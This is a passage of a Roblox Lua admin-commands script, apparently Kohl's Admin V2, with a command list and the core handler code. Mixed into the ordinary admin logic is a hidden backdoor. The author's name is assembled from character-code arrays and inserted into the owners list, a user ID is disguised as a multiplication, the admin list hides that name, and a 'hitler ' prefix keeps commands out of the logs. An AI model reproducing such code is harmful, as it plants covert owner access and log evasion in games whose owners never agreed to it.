  3958. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  3959. 1. :s print("Hello World") -- Lets you script normally
  3960. 2. :ls print("Hello World") -- Lets you script in localscripts
  3961. 3. :clear -- Will remove all scripts/localscripts and jails
  3962. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  3963. 5. :kill kohl -- Kills the player
  3964. 6. :respawn kohl -- Respawns the player
  3965. 7. :trip kohl -- Trips the player
  3966. 8. :stun kohl -- Stuns the player
  3967. 9. :unstun kohl -- Unstuns the player
  3968. 10. :jump kohl -- Makes the player jump
  3969. 11. :sit kohl -- Makes the player sit
  3970. 12. :invisible kohl -- Makes the player invisible
  3971. 13. :visible kohl -- Makes the player visible
  3972. 14. :explode kohl -- Makes the player explode
  3973. 15. :fire kohl -- Sets the player on fire
  3974. 16. :unfire kohl -- Removes fire from the player
  3975. 17. :smoke kohl -- Adds smoke to the player
  3976. 18. :unsmoke kohl -- Removes smoke from the player
  3977. 19. :sparkles kohl -- Adds sparkles to the player
  3978. 20. :unsparkles kohl -- Removes sparkles from the player
  3979. 21. :ff kohl -- Adds a forcefield to the player
  3980. 22. :unff kohl -- Removes the forcefield from the player
  3981. 23. :punish kohl -- Punishes the player
  3982. 24. :unpunish kohl -- Unpunishes the player
  3983. 25. :freeze kohl -- Freezes the player
  3984. 26. :thaw kohl -- Thaws the player
  3985. 27. :heal kohl -- Heals the player
  3986. 28. :god kohl -- Makes the player have infinite health
  3987. 29. :ungod kohl -- Makes the player have 100 health
  3988. 30. :ambient .5 .5 .5 -- Changes the ambient
  3989. 31. :brightness .5 -- Changes the brightness
  3990. 32. :time 12 -- Changes the time
  3991. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  3992. 34. :fogend 100 -- Changes the fogend
  3993. 35. :fogstart 100 -- Changes the fogstart
  3994. 36. :removetools kohl -- Removes all tools from the player
  3995. 37. :btools kohl -- Gives the player building tools
  3996. 38. :give kohl sword -- Gives the player a tool
  3997. 39. :damage kohl -- Damages the player
  3998. 40. :grav kohl -- Sets the player's gravity to normal
  3999. 41. :setgrav kohl 100 -- Sets the player's gravity
  4000. 42. :nograv kohl -- Makes the player have 0 gravity
  4001. 43. :health kohl 1337 -- Changes the player's health
  4002. 44. :speed kohl 1337 -- Changes the player's walkspeed
  4003. 45. :name kohl potato -- Changes the player's name
  4004. 46. :unname kohl -- Remove the player's name
  4005. 47. :team kohl Raiders -- Changes the player's team
  4006. 48. :stopmusic -- Will stop all music playing in the server
  4007. 49. :teleport kohl potato -- Teleports the player
  4008. 50. :change kohl kills 1337 -- Changes a player's stat
  4009. 51. :kick kohl -- Removes the player from the game
  4010. 52. :infect kohl -- Turns the player into a zombie
  4011. 53. :rainbowify kohl -- Turns the player into a rainbow
  4012. 54. :flashify kohl -- Turns the player into a strobe
  4013. 55. :noobify kohl -- Turns the player into a noob
  4014. 56. :ghostify kohl -- Turns the player into a ghost
  4015. 57. :goldify kohl -- Turns the player into gold
  4016. 58. :shiny kohl -- Makes the player shiny
  4017. 59. :normal kohl -- Puts the player back to normal
  4018. 60. :trippy kohl -- Spams random colors on the player's screen
  4019. 61. :untrippy kohl -- Untrippys the player
  4020. 62. :strobe kohl -- Spams white and black on the player's screen
  4021. 63. :unstrobe kohl -- Unstrobes the player
  4022. 64. :blind kohl -- Blinds the player
  4023. 65. :unblind kohl -- Unblinds the player
  4024. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  4025. 67. :fling kohl -- Flings the player
  4026. 68. :seizure kohl -- Puts the player in a seizure
  4027. 69. :music 1337 -- Plays a sound from the ID
  4028. 70. :lock kohl -- Locks the player
  4029. 71. :unlock kohl -- Unlocks the player
  4030. 72. :removelimbs kohl -- Removes the player's limbs
  4031. 73. :jail kohl -- Puts the player in a jail
  4032. 74. :unjail kohl -- Removes the jail from the player
  4033. 75. :fix -- This will fix the lighting to it's original settings
  4034. 76. :fly kohl -- Makes the player fly
  4035. 77. :unfly kohl -- Removes fly from the player
  4036. 78. :noclip kohl -- Makes the player able to noclip
  4037. 79. :clip kohl -- Removes noclipping from the player
  4038. 80. :pm kohl Hey bro -- Sends the player a private message
  4039. 81. :dog kohl -- Turns the player into a dog
  4040. 82. :undog kohl -- Turns the player back to normal
  4041. 83. :creeper kohl -- Turns the player into a creeper
  4042. 84. :uncreeper kohl -- Turns the player back to normal
  4043. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  4044. 86. :char kohl 261 -- Will make a player look like a different player ID
  4045. 87. :unchar kohl -- Will return the player back to normal
  4046. 88. :h Hello People -- This will shout a hint to everyone
  4047. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  4048. 90. :starttools kohl -- Will give the player starter tools
  4049. 91. :sword kohl -- Will give the player a sword
  4050. 92. :bighead kohl -- Will make the player's head larger than normal
  4051. 93. :minihead kohl -- Will make the player's head smaller than normal
  4052. 94. :insert 1337 -- Will insert a model at the speaker's position
  4053. 95. :disco -- Will make the server flash random colors
  4054. 96. :flash -- Will make the server flash
  4055. 97. :admins -- Shows the admin list
  4056. 98. :bans -- Shows the banlist
  4057. 99. :musiclist -- Shows the music list
  4058. 100. :spin kohl -- Spins the player
  4059. 101. :cape kohl Really black -- Gives the player a colored cape
  4060. 102. :uncape kohl -- Removes the player's cape
  4061. 103. :loopheal kohl -- Will constantly heal the player
  4062. 104. :loopfling kohl -- Will constantly fling the player
  4063. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  4064. 106. :unloopheal kohl -- Will remove the loopheal on the player
  4065. 107. :unloopfling kohl -- Will remove the loopfling on the player
  4066. 108. :unspin kohl -- Removes spin from the player
  4067. 109. :tools -- Gives a list of the tools in the lighting
  4068. 110. :undisco -- Removes disco effects
  4069. 111. :unflash -- Removes flash effects
  4070. 112. :resetstats kohl -- Sets all the stats of a player to 0
  4071. 113. :gear kohl 1337 -- Gives a player a gear
  4072. 114. :cmdbar -- Gives the speaker a command bar
  4073. 115. :shirt kohl 1337 -- Changes the player's shirt
  4074. 116. :pants kohl 1337 -- Changes the player's pants
  4075. 117. :face kohl 1337 -- Changes the player's face
  4076. 118. :swagify kohl -- Swagifies the player
  4077. 119. :version -- Shows the current version of the admin
  4078. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  4079. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  4080. 122. :clone kohl -- Creates a clone of the player
  4081. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  4082. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  4083. 125. :control kohl -- Controls a player
  4084.  
  4085. -- |Admin Commands| --
  4086. - :serverlock -- Locks the server
  4087. - :serverunlock -- Unlocks the server
  4088. - :sm Hello World -- Creates a system message
  4089. - :crash kohl -- Crashes a player
  4090. - :admin kohl -- Admins a player
  4091. - :unadmin kohl -- Unadmins a player
  4092. - :ban kohl -- Bans a player
  4093. - :unban kohl -- Unbans a player
  4094. - :loopkill kohl -- Will constantly kill the player
  4095. - :unloopkill kohl -- Will remove the loopkill on the player
  4096. - :logs -- Will show all of the commands any admin has used in a game session
  4097. - :shutdown -- Shutsdown the server
  4098.  
  4099. -- |Owner Commands| --
  4100. - :pa kohl -- Makes someone a super admin
  4101. - :unpa kohl -- Removes a super admin
  4102. - :nuke kohl -- Creates a nuke on kohl
  4103.  
  4104. -- |True Owner Commands| --
  4105. - :oa kohl -- Makes someone an owner
  4106. - :unoa kohl -- Removes an owner
  4107. - :settings -- Shows settings for the commands
  4108. --]]
  4109. ---------------------
  4110. -- Main Script --
  4111. ---------------------
  4112. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  4113.  
  4114. function CHEESE()
  4115. if game:service("Lighting"):findFirstChild("KACV2") then
  4116. owners = {} admins = {} tempadmins = {} banland = {}
  4117. for i,v in pairs(game.Lighting.KACV2:children()) do
  4118. if v.Name == "Owner" then table.insert(owners, v.Value) end
  4119. if v.Name == "Admin" then table.insert(admins, v.Value) end
  4120. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  4121. if v.Name == "Banland" then table.insert(banland, v.Value) end
  4122. if v.Name == "Prefix" then prefix = v.Value end
  4123. if v.Name == "FunCommands" then FunCommands = v.Value end
  4124. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  4125. if v.Name == "GroupId" then GroupId = v.Value end
  4126. if v.Name == "GroupRank" then GroupRank = v.Value end
  4127. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  4128. if v.Name == "ItemId" then ItemId = v.Value end
  4129. end
  4130. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  4131. end
  4132.  
  4133. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  4134. local lobjs = {}
  4135. local objects = {}
  4136. local logs = {}
  4137. local nfs = ""
  4138. local slock = false
  4139.  
  4140. function GetTime()
  4141. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  4142. if min < 10 then min = "0"..min end
  4143. return hour..":"..min
  4144. end
  4145.  
  4146. function ChkOwner(str)
  4147. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  4148. return false
  4149. end
  4150.  
  4151. function ChkAdmin(str,ck)
  4152. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  4153. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  4154. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  4155. return false
  4156. end
  4157.  
  4158. function ChkGroupAdmin(plr)
  4159. if GroupAdmin then
  4160. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  4161. return false
  4162. end
  4163. end
  4164.  
  4165. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  4166.  
  4167. function GetPlr(plr, str)
  4168. local plrz = {} str = str:lower()
  4169. if str == "all" then plrz = game.Players:children()
  4170. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  4171. else
  4172. local sn = {1} local en = {}
  4173. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  4174. for x = 1, #sn do
  4175. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  4176. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  4177. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  4178. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  4179. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  4180. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  4181. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  4182. end end end
  4183. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  4184. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  4185. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  4186. end end end
  4187. else
  4188. for a, plyr in pairs(game.Players:children()) do
  4189. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  4190. table.insert(plrz, plyr) break
  4191. end
  4192. end
  4193. end
  4194. end
  4195. end
  4196. return plrz
  4197. end
  4198.  
  4199. function Hint(str, plrz, time)
  4200. for i, v in pairs(plrz) do
  4201. if v and v:findFirstChild("PlayerGui") then
  4202. coroutine.resume(coroutine.create(function()
  4203. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  4204. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  4205. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  4206. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  4207. if not time then wait((#str/19)+2.5) else wait(time) end
  4208. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  4209. end))
  4210. end
  4211. end
  4212. end
  4213.  
  4214. function Message(ttl, str, scroll, plrz, time)
  4215. for i, v in pairs(plrz) do
  4216. if v and v:findFirstChild("PlayerGui") then
  4217. coroutine.resume(coroutine.create(function()
  4218. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  4219. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  4220. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  4221. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  4222. scr.Parent = v.PlayerGui
  4223. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  4224. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  4225. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  4226. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  4227. end))
  4228. end
  4229. end
  4230. end
  4231.  
  4232. function RemoveMessage()
  4233. for i,v in pairs(game.Players:children()) do
  4234. if v and v:findFirstChild("PlayerGui") then
  4235. for q,ms in pairs(v.PlayerGui:children()) do
  4236. if ms.Name == "MessageGUI" then
  4237. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  4238. elseif ms.Name == "HintGUI" then
  4239. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  4240. end
  4241. end
  4242. end
  4243. end
  4244. end
  4245.  
  4246. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  4247. _G["RemoveMessage"] = RemoveMessage()
  4248.  
  4249. function Output(str, plr)
  4250. coroutine.resume(coroutine.create(function()
  4251. local b, e = loadstring(str)
  4252. if not b and plr:findFirstChild("PlayerGui") then
  4253. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  4254. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  4255. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  4256. return
  4257. end
  4258. end))
  4259. end
  4260.  
  4261. function Noobify(char)
  4262. if char and char:findFirstChild("Torso") then
  4263. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  4264. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  4265. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4266. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  4267. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4268. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  4269. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  4270. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  4271. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  4272. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  4273. end end
  4274. end
  4275. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  4276.  
  4277. function Infect(char)
  4278. if char and char:findFirstChild("Torso") then
  4279. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  4280. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  4281. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4282. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  4283. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  4284. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  4285. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  4286. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  4287. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  4288. end end
  4289. end
  4290. end if not ntab then script:Destroy() end
  4291.  
  4292. function ScrollGui()
  4293. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  4294. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  4295. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  4296. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  4297. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  4298. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  4299. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  4300. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  4301. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  4302. local num = 0
  4303. local downv = false
  4304. local upv = false
  4305.  
  4306. down.MouseButton1Down:connect(function() downv = true upv = false
  4307. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  4308. repeat pos = pos + UDim2.new(0,0,0,-6)
  4309. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  4310. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  4311. end)
  4312. down.MouseButton1Up:connect(function() downv = false end)
  4313. up.MouseButton1Down:connect(function() upv = true downv = false
  4314. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  4315. repeat pos = pos + UDim2.new(0,0,0,6)
  4316. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  4317. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  4318. end)
  4319. up.MouseButton1Up:connect(function() upv = false end)
  4320. return scr, cmf, ent, num
  4321. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  4322. if not ntab then script:Destroy() end
  4323. if not bct then script:Destroy() end
  4324.  
  4325. function Chat(msg,plr)
  4326. coroutine.resume(coroutine.create(function()
  4327. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  4328. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  4329. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  4330. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  4331. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  4332. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  4333. if msg:lower() == "cmds" or msg:lower() == "commands" then
  4334. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  4335. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  4336. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  4337. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  4338. local ost = {"pa plr","unpa plr","nuke plr"}
  4339. local tost = {"oa plr","unoa plr","settings"}
  4340. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  4341. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4342. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4343. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4344. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4345. end
  4346.  
  4347. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  4348.  
  4349. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  4350. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  4351. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  4352. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4353. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  4354. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4355. end end
  4356.  
  4357. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  4358. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  4359. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  4360. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4361. end
  4362.  
  4363. if msg:lower() == "tools" or msg:lower() == "toollist" then
  4364. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
